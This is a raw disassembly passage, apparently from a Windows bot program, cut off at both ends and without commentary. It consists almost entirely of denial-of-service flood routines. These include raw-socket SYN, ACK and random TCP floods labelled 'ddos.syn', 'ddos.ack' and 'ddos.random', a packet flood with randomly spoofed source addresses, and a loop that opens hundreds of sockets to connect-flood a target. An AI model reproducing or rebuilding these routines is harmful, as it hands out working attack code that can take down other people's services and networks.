4D5270h, 0B1DC15FFh, 8D500042h dd 0FFF4BC85h, 0B64068FFh, 0E8500042h, 8FF6h, 0ECE8858Dh dd 8950FFFEh, 1E8705Dh, 8300008Bh, 0C08510C4h, 458B2F7Eh dd 5848D70h, 0FFFEECE8h, 750D3880h, 2000C603h, 750A3880h dd 2000C603h, 8D7045FFh, 0FEECE885h, 0D1E850FFh, 3900008Ah dd 7C597045h, 50FF83D1h, 92840Fh, 7D830000h, 840F507Ch dd 88h, 0ECE8858Dh, 0E850FFFEh, 0FFFFFA8Ah, 8D59C084h dd 0FEECE885h, 1C7450FFh, 8D7C75FFh, 0FFF4BC85h, 8D5750FFh dd 0FFECBC85h, 0A46850FFh, 0E9004354h, 83h, 0FFFB74E8h dd 59C084FFh, 0ECE8858Dh, 7450FFFEh, 7C75FF19h, 0F4BC858Dh dd 5750FFFFh, 0ECBC858Dh, 6850FFFFh, 435470h, 0C0E859EBh dd 84FFFFFBh, 207459C0h, 0ECE8858Dh, 0FF50FFFEh, 858D7C75h dd 0FFFFF4BCh, 858D5750h, 0FFFFECBCh, 543C6850h, 2FEB0043h dd 0ECE8858Dh, 0E850FFFEh, 0FFFFFC16h, 8D59C084h, 0FEECE885h dd 4F7450FFh, 8D7C75FFh, 0FFF4BC85h, 8D5750FFh, 0FFECBC85h dd 46850FFh, 8D004354h, 0FFFDBC85h, 0E85056FFh, 8F32h dd 3920C483h, 850F485Dh, 0FFFFFE27h, 4475FF53h, 0FDBC858Dh dd 8D50FFFFh, 0FF50C045h, 4CE8BC75h, 83FFFEBAh, 8E914C4h dd 0E8FFFFFEh, 0FFFFFC3Dh, 0F59C084h, 0FFFDFA84h, 0E8858DFFh dd 50FFFEECh, 8D7C75FFh, 0FFF4BC85h, 8D5750FFh, 0FFECBC85h dd 0CC6850FFh, 0EB004353h db 9Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=64h sub_415825 proc near ; CODE XREF: sub_415B7C+40p var_288 = byte ptr -288h var_F8 = byte ptr -0F8h var_B8 = word ptr -0B8h var_B6 = word ptr -0B6h var_B4 = dword ptr -0B4h var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_94 = byte ptr -94h var_88 = byte ptr -88h var_80 = byte ptr -80h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp lea ebp, [esp-64h] sub esp, 288h push ebx push edi push 0Eh pop ecx xor eax, eax xor ebx, ebx mov [ebp+64h+var_A8], bl lea edi, [ebp+64h+var_A7] rep stosd stosw stosb lea eax, [ebp+64h+var_288] push eax push 202h call ds:dword_444110 ; WSAStartup test eax, eax jz short loc_415861 xor eax, eax jmp loc_415B75 ; --------------------------------------------------------------------------- loc_415861: ; CODE XREF: sub_415825+33j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_444074 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+64h+var_18], eax jz loc_415B6D push 4 lea ecx, [ebp+64h+var_44] push ecx push 2 push ebx push eax mov [ebp+64h+var_44], edi call ds:dword_444120 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_415B64 push esi push [ebp+64h+arg_C] mov [ebp+64h+var_B8], 2 call ds:dword_444260 ; htons mov esi, [ebp+64h+arg_0] push 28h mov [ebp+64h+var_B6], ax mov [ebp+64h+var_B4], esi mov [ebp+64h+var_2C], 45h call ds:dword_444260 ; htons push [ebp+64h+arg_C] mov [ebp+64h+var_2A], ax mov [ebp+64h+var_28], di mov [ebp+64h+var_26], bx mov [ebp+64h+var_24], 80h mov [ebp+64h+var_23], 6 mov [ebp+64h+var_22], bx mov [ebp+64h+var_1C], esi call ds:dword_444260 ; htons mov [ebp+64h+var_12], ax call sub_41ECDE movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_444260 ; htons push 12345678h mov [ebp+64h+var_14], ax call ds:dword_444234 ; htonl push offset aDdos_syn ; "ddos.syn" push [ebp+64h+arg_8] mov [ebp+64h+var_10], eax call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_415931 mov [ebp+64h+var_C], ebx mov [ebp+64h+var_7], 2 jmp short loc_415985 ; --------------------------------------------------------------------------- loc_415931: ; CODE XREF: sub_415825+101j push offset aDdos_ack ; "ddos.ack" push [ebp+64h+arg_8] call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_41594D mov [ebp+64h+var_C], ebx mov [ebp+64h+var_7], 10h jmp short loc_415985 ; --------------------------------------------------------------------------- loc_41594D: ; CODE XREF: sub_415825+11Dj push offset aDdos_random ; "ddos.random" push [ebp+64h+arg_8] call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_415985 call sub_41ECDE cdq push 3 pop ecx idiv ecx mov [ebp+64h+var_C], edx call sub_41ECDE push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+64h+var_7], dl loc_415985: ; CODE XREF: sub_415825+10Aj ; sub_415825+126j ... push 4000h mov [ebp+64h+var_8], 50h call ds:dword_444260 ; htons mov [ebp+64h+var_6], ax lea eax, [ebp+64h+var_6C] push eax mov [ebp+64h+var_2], bx mov [ebp+64h+var_30], ebx call ds:dword_42B0DC ; QueryPerformanceFrequency lea eax, [ebp+64h+var_38] push eax call ds:dword_42B0D8 ; QueryPerformanceCounter push [ebp+64h+var_68] mov eax, [ebp+64h+arg_10] push [ebp+64h+var_6C] cdq push edx push eax call sub_420750 add eax, [ebp+64h+var_38] mov [ebp+64h+var_4], bx adc edx, [ebp+64h+var_34] mov [ebp+64h+var_40], eax mov [ebp+64h+var_3C], edx call sub_41ECDE cdq mov ecx, 3E9h idiv ecx mov edi, 3E8h add edx, edi push edx call ds:dword_444260 ; htons mov [ebp+64h+var_14], ax call sub_41ECDE call sub_41ECDE push eax call ds:dword_444260 ; htons push [ebp+64h+arg_4] movzx eax, ax mov [ebp+64h+var_10], eax call ds:dword_444234 ; htonl push 14h pop esi jmp short loc_415A7D ; --------------------------------------------------------------------------- loc_415A18: ; CODE XREF: sub_415825+30Cj add [ebp+64h+var_30], eax lea eax, [ebp+64h+var_38] push eax call ds:dword_42B0D8 ; QueryPerformanceCounter mov eax, [ebp+64h+var_34] cmp eax, [ebp+64h+var_3C] jg loc_415B60 jl short loc_415A3F mov eax, [ebp+64h+var_38] cmp eax, [ebp+64h+var_40] jnb loc_415B60 loc_415A3F: ; CODE XREF: sub_415825+20Cj mov [ebp+64h+var_4], bx call sub_41ECDE cdq mov ecx, 3E9h idiv ecx add edx, edi push edx call ds:dword_444260 ; htons mov [ebp+64h+var_14], ax call sub_41ECDE call sub_41ECDE push eax call ds:dword_444260 ; htons push [ebp+64h+arg_4] movzx eax, ax mov [ebp+64h+var_10], eax call ds:dword_444234 ; htonl loc_415A7D: ; CODE XREF: sub_415825+1F1j inc [ebp+64h+arg_4] mov [ebp+64h+var_20], eax mov eax, [ebp+64h+var_1C] push esi mov [ebp+64h+var_60], eax mov [ebp+64h+var_5C], bl mov [ebp+64h+var_5B], 6 call ds:dword_444260 ; htons mov [ebp+64h+var_5A], ax mov eax, [ebp+64h+var_20] mov [ebp+64h+var_64], eax lea eax, [ebp+64h+var_64] push 20h push eax lea eax, [ebp+64h+var_A8] push eax call sub_41F400 lea eax, [ebp+64h+var_14] push esi push eax lea eax, [ebp+64h+var_88] push eax call sub_41F400 lea eax, [ebp+64h+var_A8] push 34h push eax call sub_402422 mov [ebp+64h+var_4], ax lea eax, [ebp+64h+var_2C] push esi push eax lea eax, [ebp+64h+var_A8] push eax call sub_41F400 lea eax, [ebp+64h+var_14] push esi push eax lea eax, [ebp+64h+var_94] push eax call sub_41F400 push 4 lea eax, [ebp+64h+var_80] push ebx push eax call sub_41E5F0 add esp, 44h lea eax, [ebp+64h+var_A8] push 28h push eax call sub_402422 mov [ebp+64h+var_22], ax lea eax, [ebp+64h+var_2C] push esi push eax lea eax, [ebp+64h+var_A8] push eax call sub_41F400 add esp, 14h push 10h lea eax, [ebp+64h+var_B8] push eax push ebx push 28h lea eax, [ebp+64h+var_A8] push eax push [ebp+64h+var_18] call ds:dword_4440CC ; sendto cmp eax, 0FFFFFFFFh jnz loc_415A18 call ds:dword_4441C4 ; WSAGetLastError push eax lea eax, [ebp+64h+var_F8] push offset dword_435534 push eax call sub_41E6A6 lea eax, [ebp+64h+var_F8] push eax call sub_417D70 add esp, 10h jmp short loc_415B63 ; --------------------------------------------------------------------------- loc_415B60: ; CODE XREF: sub_415825+206j ; sub_415825+214j mov ebx, [ebp+64h+var_30] loc_415B63: ; CODE XREF: sub_415825+339j pop esi loc_415B64: ; CODE XREF: sub_415825+73j push [ebp+64h+var_18] call ds:dword_444218 ; closesocket loc_415B6D: ; CODE XREF: sub_415825+57j call ds:dword_444224 ; WSACleanup mov eax, ebx loc_415B75: ; CODE XREF: sub_415825+37j pop edi pop ebx add ebp, 64h leave retn sub_415825 endp ; =============== S U B R O U T I N E ======================================= sub_415B7C proc near ; CODE XREF: seg000:00415C27p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_4022BD push [esp+10h+arg_4] mov esi, eax call sub_41E7AD push [esp+14h+arg_C] mov ebx, eax call sub_41E7AD mov edi, eax call sub_41ECDE cdq mov ecx, 200h idiv ecx push edi push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_415825 add esp, 20h test eax, eax jnz short loc_415BC9 inc eax loc_415BC9: ; CODE XREF: sub_415B7C+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_415B7C endp ; --------------------------------------------------------------------------- loc_415BD8: ; DATA XREF: sub_40274D+6235o push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+8] push esi push edi mov esi, eax mov ecx, 0A5h lea edi, [ebp-294h] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 lea eax, [ebp-18Ch] push eax lea eax, [ebp-8Ch] push eax lea eax, [ebp-20Ch] push eax lea eax, [ebp-28Ch] push eax call sub_415B7C push eax lea eax, [ebp-494h] push offset unk_435550 push eax call sub_41E6A6 xor esi, esi add esp, 20h cmp [ebp-8], esi jnz short loc_415C68 push esi push dword ptr [ebp-0Ch] lea eax, [ebp-494h] push eax lea eax, [ebp-10Ch] push eax push dword ptr [ebp-294h] call sub_40123B add esp, 14h loc_415C68: ; CODE XREF: seg000:00415C46j lea eax, [ebp-494h] push eax call sub_417D70 push dword ptr [ebp-290h] call sub_40B149 pop ecx pop ecx push esi call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger loc_415C89: ; DATA XREF: sub_40274D+642Do push ebp lea ebp, [esp-74h] sub esp, 3BCh mov eax, [ebp+7Ch] push ebx push esi push edi push 68h pop ecx push 0FFh mov esi, eax xor ebx, ebx push 3 lea edi, [ebp-148h] rep movsd inc ebx push 2 mov [eax+19Ch], ebx call ds:dword_444100 ; socket cmp eax, 0FFFFFFFFh mov [ebp+70h], eax jnz short loc_415CF2 call ds:dword_4441C4 ; WSAGetLastError push eax lea eax, [ebp-348h] push offset dword_43565C push eax call sub_41E6A6 add esp, 0Ch xor edi, edi loc_415CE4: ; CODE XREF: seg000:00415D27j ; seg000:00415D4Ej ... cmp [ebp+50h], edi jnz loc_415F2D jmp loc_415F10 ; --------------------------------------------------------------------------- loc_415CF2: ; CODE XREF: seg000:00415CC5j push 4 lea ecx, [ebp+68h] push ecx push 2 xor edi, edi push edi push eax mov [ebp+68h], ebx call ds:dword_444120 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_415D29 call ds:dword_4441C4 ; WSAGetLastError push eax lea eax, [ebp-348h] push offset unk_43562C push eax call sub_41E6A6 add esp, 0Ch jmp short loc_415CE4 ; --------------------------------------------------------------------------- loc_415D29: ; CODE XREF: seg000:00415D0Aj lea eax, [ebp-144h] push eax call ds:dword_44417C ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_415D50 lea eax, [ebp-348h] push offset unk_43560C push eax call sub_41E6A6 pop ecx pop ecx jmp short loc_415CE4 ; --------------------------------------------------------------------------- loc_415D50: ; CODE XREF: seg000:00415D39j push 10h lea eax, [ebp+58h] push edi push eax call sub_41E5F0 add esp, 0Ch push edi mov word ptr [ebp+58h], 2 call ds:dword_444260 ; htons mov [ebp+5Ah], ax lea eax, [ebp-144h] push eax call ds:dword_44417C ; inet_addr mov esi, ds:dword_42B038 mov [ebp+5Ch], eax mov [ebp+7Ch], edi call esi ; GetTickCount mov [ebp+6Ch], eax jmp loc_415EB1 ; --------------------------------------------------------------------------- loc_415D93: ; CODE XREF: seg000:00415EC2j push 41Ch mov ds:byte_4D5278, 45h call ds:dword_444260 ; htons cmp [ebp+48h], edi mov ds:word_4D527A, ax mov ds:word_4D527C, bx mov ds:word_4D527E, di mov ds:byte_4D5280, 80h mov ds:byte_4D5281, bl mov ds:word_4D5282, di jz short loc_415E02 call sub_41ECDE mov ebx, eax shl ebx, 8 call sub_41ECDE add ebx, eax shl ebx, 8 call sub_41ECDE add ebx, eax shl ebx, 8 call sub_41ECDE add ebx, eax mov ds:dword_4D5284, ebx xor ebx, ebx inc ebx jmp short loc_415E1A ; --------------------------------------------------------------------------- loc_415E02: ; CODE XREF: seg000:00415DD0j push dword ptr [ebp-148h] call sub_4023C9 pop ecx push eax call ds:dword_44417C ; inet_addr mov ds:dword_4D5284, eax loc_415E1A: ; CODE XREF: seg000:00415E00j mov eax, [ebp+5Ch] mov ds:dword_4D5288, eax call sub_41ECDE cdq mov ecx, 100h idiv ecx mov ds:byte_4D528C, dl call sub_41ECDE cdq mov ecx, 100h idiv ecx mov ds:byte_4D528D, dl call sub_41ECDE cdq mov ecx, 0F0h idiv ecx push 400h mov ds:word_4D528E, di mov ds:word_4D5292, bx inc edx mov ds:word_4D5290, dx call sub_41ECDE cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4D5294 call sub_41E5F0 add esp, 0Ch push 10h lea eax, [ebp+58h] push eax push edi push 41Ch push offset byte_4D5278 push dword ptr [ebp+70h] call ds:dword_4440CC ; sendto cmp eax, 0FFFFFFFFh jz loc_415F4A inc dword ptr [ebp+7Ch] loc_415EB1: ; CODE XREF: seg000:00415D8Ej call esi ; GetTickCount sub eax, [ebp+6Ch] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+44h] jbe loc_415D93 push dword ptr [ebp+70h] call ds:dword_444218 ; closesocket mov eax, [ebp+7Ch] imul eax, 3Ch mov ecx, eax shr eax, 0Ah xor edx, edx div dword ptr [ebp+44h] shr ecx, 14h push ecx push eax push dword ptr [ebp+7Ch] lea eax, [ebp-144h] push eax lea eax, [ebp-0C4h] push eax lea eax, [ebp-348h] push offset unk_4355C0 push eax call sub_41E6A6 add esp, 1Ch cmp [ebp+50h], edi jnz short loc_415F2D loc_415F10: ; CODE XREF: seg000:00415CEDj push edi push dword ptr [ebp+4Ch] lea eax, [ebp-348h] push eax lea eax, [ebp-44h] push eax push dword ptr [ebp-148h] call sub_40123B add esp, 14h loc_415F2D: ; CODE XREF: seg000:00415CE7j ; seg000:00415F0Ej lea eax, [ebp-348h] push eax call sub_417D70 push dword ptr [ebp+3Ch] call sub_40B149 pop ecx pop ecx push edi call ds:dword_42B068 ; ExitThread loc_415F4A: ; CODE XREF: seg000:00415EA8j push dword ptr [ebp+70h] call ds:dword_444218 ; closesocket call ds:dword_4441C4 ; WSAGetLastError push eax push dword ptr [ebp+7Ch] lea eax, [ebp-144h] push eax push offset unk_435578 lea eax, [ebp-348h] push 200h push eax call sub_41E6FE add esp, 18h jmp loc_415CE4 ; --------------------------------------------------------------------------- word_415F82 dw 0B855h ; DATA XREF: sub_40274D+524Eo dd 10320h, 8C246C8Dh, 8A8FE8h, 7C458B00h, 6A575653h, 0F08B5949h dd 0FF30BD8Dh, 0A5F3FFFFh, 8947FF33h, 120B8h, 5815FF00h dd 89004441h, 458D7C45h, 15FF50B4h, 44417Ch, 0DB33F08Bh dd 0FE83C033h, 8D0E75FFh, 0FF50B445h, 44416815h, 74C33B00h dd 7C7D8306h, 8D5975FFh, 8D50B445h, 0FFFD3085h, 56B468FFh dd 0E8500043h, 86B2h, 390CC483h, 20754C5Dh, 4875FF53h dd 0FD30858Dh, 8D50FFFFh, 0FFFF3485h, 0B5FF50FFh, 0FFFFFF30h dd 0FEB222E8h, 14C483FFh, 0FD30858Dh, 0E850FFFFh, 1D48h dd 0E84475FFh, 0FFFF5119h, 0E9575959h, 0C5h, 0C74C33Bh dd 8B0C408Bh, 89008B00h, 3EB7045h, 6A707589h, 54458D1Ch dd 99E85053h, 83000085h, 0B8FF5C4Dh, 0FFDCh, 390CC483h dd 37E3845h, 39384589h, 37D3C7Dh, 333C7D89h, 345D39F6h dd 75FF267Eh, 54458D3Ch, 53501C6Ah, 8D3875FFh, 0FEFD5485h dd 75FF50FFh, 7C75FF70h, 41F415FFh, 3B460044h, 0DA7C3475h dd 0FF7C75FFh, 44418C15h, 0B4458D00h, 30858D50h, 68FFFFFDh dd 435688h, 85E8E850h, 0C4830000h, 4C5D390Ch, 0FF532075h dd 858D4875h, 0FFFFFD30h, 34858D50h, 50FFFFFFh, 0FF30B5FFh dd 58E8FFFFh, 83FFFEB1h, 858D14C4h, 0FFFFFD30h, 1C7EE850h dd 75FF0000h, 504FE844h, 5959FFFFh, 6815FF53h, 0CC0042B0h dword_416104 dd 310B855h, 6C8D0001h, 0DE88C24h, 8B000089h, 56537C45h ; DATA XREF: sub_40274D+5498o dd 59496A57h, 0BD8DF08Bh, 0FFFFFF40h, 0F633A5F3h, 20B08946h dd 0FF000001h, 42B03815h, 99E85000h, 5900008Bh, 26A116Ah dd 15FF026Ah, 444100h, 0D88B106Ah, 458DFF33h, 0E8505764h dd 8498h, 8D0CC483h, 6650C445h, 26445C7h, 7C15FF00h, 83004441h dd 4589FFF8h, 8D6E757Ch, 0FF50C445h, 44416815h, 75C73B00h dd 0C4458D59h, 40858D50h, 68FFFFFDh, 435708h, 8510E850h dd 0C4830000h, 5C7D390Ch, 0FF572075h, 858D5875h, 0FFFFFD40h dd 44858D50h, 50FFFFFFh, 0FF40B5FFh, 80E8FFFFh, 83FFFEB0h dd 858D14C4h, 0FFFFFD40h, 1BA6E850h, 75FF0000h, 4F77E854h dd 5959FFFFh, 130E956h, 408B0000h, 0EB008B0Ch, 7C458D03h dd 8B507D39h, 68458900h, 0EBE81175h, 9900008Ah, 0FFDCB9h dd 42F9F700h, 0FF03EB52h, 15FF5075h, 444260h, 66507539h dd 7D664589h, 50758903h, 0FFFFB8h, 50453900h, 4589037Eh dd 44458B50h, 59990A6Ah, 7D39F9F7h, 4445894Ch, 75890375h dd 39F6334Ch, 727E487Dh, 8A9DE8h, 0FFB99900h, 0F7000000h dd 753B46F9h, 35948848h, 0FFFEFD63h, 56EBE67Ch, 6A444DFFh dd 106A5E0Bh, 5064458Dh, 8A74E857h, 0A6A0000h, 0F9F75999h dd 2B48458Bh, 858D50C2h, 0FFFEFD64h, 15FF5350h, 4440CCh dd 0FF4C75FFh, 42B01415h, 0CE754E00h, 75507D39h, 8A44E819h dd 0B9990000h, 0FFDCh, 5242F9F7h, 426015FFh, 89660044h dd 7D396645h, 0FFA57F44h, 458D444Dh, 858D50C4h, 0FFFFFD40h dd 4356DC68h, 0DBE85000h, 83000083h, 7D390CC4h, 5720755Ch dd 8D5875FFh, 0FFFD4085h, 858D50FFh, 0FFFFFF44h, 40B5FF50h dd 0E8FFFFFFh, 0FFFEAF4Bh, 8D14C483h, 0FFFD4085h, 71E850FFh dd 0FF00001Ah, 42E85475h, 59FFFF4Eh, 15FF5759h, 42B068h db 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416311 proc near ; CODE XREF: sub_4163CB+27p var_654 = dword ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41E5F0 add esp, 0Ch push [ebp+arg_4] mov [ebp+var_14], 2 call ds:dword_444260 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_4163C7 push esi push edi mov [ebp+arg_0], eax mov edi, 190h loc_41635B: ; CODE XREF: sub_416311+B2j xor esi, esi loc_41635D: ; CODE XREF: sub_416311+77j push 0 push 1 push 2 call ds:dword_42B20C ; socket cmp eax, 0FFFFFFFFh mov [ebp+esi*4+var_654], eax jz short loc_416385 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_42B1E4 ; ioctlsocket loc_416385: ; CODE XREF: sub_416311+62j inc esi cmp esi, edi jl short loc_41635D xor esi, esi loc_41638C: ; CODE XREF: sub_416311+91j push 10h lea eax, [ebp+var_14] push eax push [ebp+esi*4+var_654] call ds:dword_42B1F4 ; connect inc esi cmp esi, edi jl short loc_41638C push 64h call ds:dword_42B014 ; Sleep xor esi, esi loc_4163AE: ; CODE XREF: sub_416311+ADj push [ebp+esi*4+var_654] call ds:dword_42B1F8 ; closesocket inc esi cmp esi, edi jl short loc_4163AE dec [ebp+arg_0] jnz short loc_41635B pop edi pop esi loc_4163C7: ; CODE XREF: sub_416311+3Ej xor eax, eax leave retn sub_416311 endp ; =============== S U B R O U T I N E ======================================= sub_4163CB proc near ; CODE XREF: seg000:0041644Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_4022BD push [esp+10h+arg_4] mov edi, eax call sub_41E7AD push [esp+14h+arg_8] mov ebx, eax call sub_41E7AD mov esi, eax push esi push ebx push edi call sub_416311 add esp, 18h test eax, eax jnz short loc_4163FF inc eax loc_4163FF: ; CODE XREF: sub_4163CB+31j cdq mov ecx, 3E8h idiv ecx pop edi cdq idiv esi pop esi pop ebx retn sub_4163CB endp ; --------------------------------------------------------------------------- loc_41640E: ; DATA XREF: sub_40274D+4B72o push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+8] push esi push edi mov esi, eax mov ecx, 85h lea edi, [ebp-214h] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp-110h] push eax lea eax, [ebp-190h] push eax lea eax, [ebp-210h] push eax call sub_4163CB push eax lea eax, [ebp-414h] push offset dword_435730 push eax call sub_41E6A6 xor esi, esi add esp, 18h cmp [ebp-8], esi jnz short loc_41648B push esi push dword ptr [ebp-0Ch] lea eax, [ebp-414h] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-214h] call sub_40123B add esp, 14h loc_41648B: ; CODE XREF: seg000:00416469j lea eax, [ebp-414h] push eax call sub_417D70 push dword ptr [ebp-10h] call sub_40B149 pop ecx pop ecx push esi call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=68h sub_4164A9 proc near ; CODE XREF: sub_41677E+3Cp var_288 = byte ptr -288h var_F8 = byte ptr -0F8h var_B8 = dword ptr -0B8h var_B0 = byte ptr -0B0h var_AF = byte ptr -0AFh var_9C = byte ptr -9Ch var_90 = byte ptr -90h var_88 = byte ptr -88h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = word ptr -62h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-68h] sub esp, 288h push ebx push edi push 0Eh pop ecx xor eax, eax xor ebx, ebx mov [ebp+68h+var_B0], bl lea edi, [ebp+68h+var_AF] rep stosd stosw stosb lea eax, [ebp+68h+var_288] push eax push 202h call ds:dword_444110 ; WSAStartup test eax, eax jz short loc_4164E5 xor eax, eax jmp loc_416777 ; --------------------------------------------------------------------------- loc_4164E5: ; CODE XREF: sub_4164A9+33j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_444074 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+68h+var_4], eax jz loc_41676F push 4 lea ecx, [ebp+68h+var_3C] push ecx push 2 push ebx push eax mov [ebp+68h+var_3C], edi call ds:dword_444120 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_416766 push esi push 10h lea eax, [ebp+68h+var_4C] push ebx push eax call sub_41E5F0 add esp, 0Ch push [ebp+68h+arg_8] mov [ebp+68h+var_4C], 2 call ds:dword_444260 ; htons mov esi, [ebp+68h+arg_0] push 28h mov [ebp+68h+var_4A], ax mov [ebp+68h+var_48], esi mov [ebp+68h+var_1C], 45h call ds:dword_444260 ; htons push [ebp+68h+arg_8] mov [ebp+68h+var_1A], ax mov [ebp+68h+var_18], di mov [ebp+68h+var_16], bx mov [ebp+68h+var_14], 80h mov [ebp+68h+var_13], 6 mov [ebp+68h+var_12], bx mov [ebp+68h+var_C], esi call ds:dword_444260 ; htons push 4000h mov [ebp+68h+var_2E], ax mov [ebp+68h+var_28], ebx mov [ebp+68h+var_24], 50h mov [ebp+68h+var_23], 2 call ds:dword_444260 ; htons mov [ebp+68h+var_22], ax lea eax, [ebp+68h+var_74] push eax mov [ebp+68h+var_1E], bx mov [ebp+68h+var_8], ebx call ds:dword_42B0DC ; QueryPerformanceFrequency lea eax, [ebp+68h+var_38] push eax call ds:dword_42B0D8 ; QueryPerformanceCounter push [ebp+68h+var_70] mov eax, [ebp+68h+arg_C] push [ebp+68h+var_74] cdq push edx push eax call sub_420750 add eax, [ebp+68h+var_38] mov edi, edx adc edi, [ebp+68h+var_34] mov [ebp+68h+var_B8], eax mov [ebp+68h+var_20], bx call sub_41ECDE cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_444260 ; htons mov [ebp+68h+var_30], ax call sub_41ECDE call sub_41ECDE push eax call ds:dword_444260 ; htons push [ebp+68h+arg_4] movzx eax, ax mov [ebp+68h+var_2C], eax call ds:dword_444234 ; htonl push 14h pop esi jmp short loc_41667F ; --------------------------------------------------------------------------- loc_416617: ; CODE XREF: sub_4164A9+28Aj add [ebp+68h+var_8], eax lea eax, [ebp+68h+var_38] push eax call ds:dword_42B0D8 ; QueryPerformanceCounter mov eax, [ebp+68h+var_34] cmp eax, edi jg loc_416762 jl short loc_41663D mov eax, [ebp+68h+var_38] cmp eax, [ebp+68h+var_B8] jnb loc_416762 loc_41663D: ; CODE XREF: sub_4164A9+186j mov [ebp+68h+var_20], bx call sub_41ECDE cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_444260 ; htons mov [ebp+68h+var_30], ax call sub_41ECDE call sub_41ECDE push eax call ds:dword_444260 ; htons push [ebp+68h+arg_4] movzx eax, ax mov [ebp+68h+var_2C], eax call ds:dword_444234 ; htonl loc_41667F: ; CODE XREF: sub_4164A9+16Cj inc [ebp+68h+arg_4] mov [ebp+68h+var_10], eax mov eax, [ebp+68h+var_C] push esi mov [ebp+68h+var_68], eax mov [ebp+68h+var_64], bl mov [ebp+68h+var_63], 6 call ds:dword_444260 ; htons mov [ebp+68h+var_62], ax mov eax, [ebp+68h+var_10] mov [ebp+68h+var_6C], eax lea eax, [ebp+68h+var_6C] push 20h push eax lea eax, [ebp+68h+var_B0] push eax call sub_41F400 lea eax, [ebp+68h+var_30] push esi push eax lea eax, [ebp+68h+var_90] push eax call sub_41F400 lea eax, [ebp+68h+var_B0] push 34h push eax call sub_402422 mov [ebp+68h+var_20], ax lea eax, [ebp+68h+var_1C] push esi push eax lea eax, [ebp+68h+var_B0] push eax call sub_41F400 lea eax, [ebp+68h+var_30] push esi push eax lea eax, [ebp+68h+var_9C] push eax call sub_41F400 push 4 lea eax, [ebp+68h+var_88] push ebx push eax call sub_41E5F0 add esp, 44h lea eax, [ebp+68h+var_B0] push 28h push eax call sub_402422 mov 